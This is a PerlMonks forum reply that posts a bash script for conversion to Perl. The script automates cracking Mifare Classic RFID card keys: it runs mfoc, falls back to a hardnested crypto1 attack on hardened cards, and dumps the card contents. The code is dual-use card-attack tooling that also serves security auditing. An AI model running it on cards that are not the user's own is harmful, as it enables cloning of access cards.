Beefy Boxes and Bandwidth Generously Provided by pair Networks
Welcome to the Monastery
 
PerlMonks  

Re: Converting bash script to perl

by Anonymous Monk
on May 24, 2018 at 16:54 UTC ( #1215165=note: print w/replies, xml ) Need Help??


in reply to Converting bash script to perl

#!/bin/bash -xv myUID=$(nfc-list -t 1|sed -n 's/ //g;/UID/s/.*://p') TMPFILE_MFD="mfc_${myUID}_dump.mfd" TMPFILE_UNK="mfc_${myUID}_unknownMfocSectorInfo.txt" TMPFILE_FND="mfc_${myUID}_foundKeys.txt" echo $myUID if [ -f "$TMPFILE_FND" ]; then mfoc -f "$TMPFILE_FND" -O "$TMPFILE_MFD" -D "$TMPFILE_UNK" else mfoc -O "$TMPFILE_MFD" -D "$TMPFILE_UNK" fi mfocResult=$? prngNotVulnerable=9 keepTrying=1 foundKeysForMFOC=" " while [ $keepTrying -eq 1 ]; do echo "MFOC result: $mfocResult" if [ "$mfocResult" == "$prngNotVulnerable" ]; then echo "MFOC not possible, detected hardened Mifare Classic" if [ "$mfocResult" -eq 9 ]; then count=0 while read -r LINE; do let count++ echo "$count $LINE" done < "$TMPFILE_UNK" arr=($(echo "$LINE" | tr ';' ' ')) echo ${arr[0]} echo ${arr[1]} echo ${arr[2]} echo ${arr[3]} echo ${arr[4]} knownKey=${arr[0]} knownSectorNum=${arr[1]} knownKeyLetter=${arr[2]} unknownSectorNum=${arr[3]} unknownKeyLetter=${arr[4]} knownBlockNum=$((knownSectorNum * 4)) unknownBlockNum=$((unknownSectorNum * 4)) echo "Trying HardNested Attack..." mycmd=(libnfc_crypto1_crack "$knownKey" "$knownBlockNum" " +$knownKeyLetter" "$unknownBlockNum" "$unknownKeyLetter" "$TMPFILE_FND +") echo "${mycmd[@]}" "${mycmd[@]}" else echo "mfoc returned: $mfocResult" keepTrying=0 fi cryptoCrackResult=$? if [ "$cryptoCrackResult" -eq 0 ];then while read -r LINE do echo "$LINE" done < "$TMPFILE_FND" arr=(`echo $LINE | tr ';' ' '`) echo ${arr[0]} echo ${arr[1]} echo ${arr[2]} foundKeysForMFOC="$foundKeysForMFOC-k ${arr[0]} " mycmd=(mfoc -f "$TMPFILE_FND" -O "$TMPFILE_MFD" -D "$TMPF +ILE_UNK") echo "${mycmd[@]}" "${mycmd[@]}" mfocResult=$? fi else keepTrying=0 fi done

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://1215165]
help
Chatterbox?
[choroba]: Also, a thread here on PM mentioned that one of perlmonks.com or www.perlmonks.com should now work
[choroba]: Tidings
[Tanktalus]: So, I can log in, I can update last hour of cb, I can read the cb, I just can't post a message to it :(
[Tanktalus]: it's all the same process, and, IIRC, the same mechanized object.
[Tanktalus]: hmm, no, the mech object for posting isn't the same as reading, but it's the same as the logging in one.

How do I use this? | Other CB clients
Other Users?
Others about the Monastery: (5)
As of 2018-07-15 21:34 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?
    It has been suggested to rename Perl 6 in order to boost its marketing potential. Which name would you prefer?















    Results (326 votes). Check out past polls.

    Notices?